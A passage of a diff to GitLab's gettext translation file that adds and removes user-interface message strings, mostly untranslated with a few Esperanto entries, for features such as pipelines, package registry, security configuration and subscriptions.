+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "Ĉenstabla plano"
msgid "Pipeline Schedules"
msgstr "Ĉenstablaj planoj"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Totalo:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
